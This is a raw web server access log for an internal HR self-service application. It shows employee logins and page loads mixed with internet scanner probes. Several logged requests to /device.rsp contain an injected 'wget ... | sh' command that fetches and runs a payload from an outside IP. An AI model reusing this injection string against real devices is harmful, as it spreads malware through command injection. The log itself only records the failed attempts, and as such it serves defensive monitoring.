100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "POST /sdk HTTP/1.1" 404 201 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "HEAD / HTTP/1.1" 200 - "-" "\"Mozilla/5.0" 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "HEAD / HTTP/1.1" 200 - 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "GET /HNAP1 HTTP/1.1" 404 203 "-" "\"Mozilla/5.0" 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "GET /HNAP1 HTTP/1.1" 404 203 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "GET /evox/about HTTP/1.1" 404 208 "-" "\"Mozilla/5.0" 100.64.0.1 - - [04/Dec/2025:05:53:31 +0800] "GET /evox/about HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:05:53:41 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [04/Dec/2025:05:53:41 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [04/Dec/2025:05:53:41 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [04/Dec/2025:05:53:41 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [04/Dec/2025:05:53:51 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:05:53:51 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:05:53:51 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [04/Dec/2025:05:53:51 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:06:10:46 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" 100.64.0.1 - - [04/Dec/2025:06:10:46 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:06:10:57 +0800] "GET login.cgi HTTP/1.1" 400 226 "-" "-" 100.64.0.1 - - [04/Dec/2025:06:10:57 +0800] "GET login.cgi HTTP/1.1" 400 226 100.64.0.1 - - [04/Dec/2025:06:11:02 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F213.209.143.114%2Fmass%20-O-%20%7C%20sh HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:06:11:02 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F213.209.143.114%2Fmass%20-O-%20%7C%20sh HTTP/1.1" 404 208 "-" "Mozila/5.0" 100.64.0.1 - - [04/Dec/2025:06:11:04 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [04/Dec/2025:06:11:04 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:06:11:23 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:06:11:23 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:06:11:25 +0800] "GET login.cgi HTTP/1.1" 400 226 "-" "-" 100.64.0.1 - - [04/Dec/2025:06:11:25 +0800] "GET login.cgi HTTP/1.1" 400 226 100.64.0.1 - - [04/Dec/2025:06:11:29 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F213.209.143.114%2Fmass%20-O-%20%7C%20sh HTTP/1.1" 404 208 "-" "Mozila/5.0" 100.64.0.1 - - [04/Dec/2025:06:11:29 +0800] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F213.209.143.114%2Fmass%20-O-%20%7C%20sh HTTP/1.1" 404 208 100.64.0.1 - - [04/Dec/2025:06:11:30 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [04/Dec/2025:06:11:30 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:06:11:33 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:06:11:33 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:06:25:29 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [04/Dec/2025:06:25:29 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [04/Dec/2025:07:19:24 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:07:19:24 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:07:40:24 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" 100.64.0.1 - - [04/Dec/2025:07:40:24 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:07:40:24 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" 100.64.0.1 - - [04/Dec/2025:07:40:24 +0800] "GET /favicon.ico HTTP/1.1" 404 209 192.168.40.34 - - [04/Dec/2025:08:08:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:08:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [04/Dec/2025:08:08:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:08:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [04/Dec/2025:08:08:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:08:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [04/Dec/2025:08:08:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [04/Dec/2025:08:08:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [04/Dec/2025:08:13:27 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:08:13:27 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.12.46 - - [04/Dec/2025:08:15:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.46 - - [04/Dec/2025:08:15:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:08:15:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.11.55 - - [04/Dec/2025:08:16:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 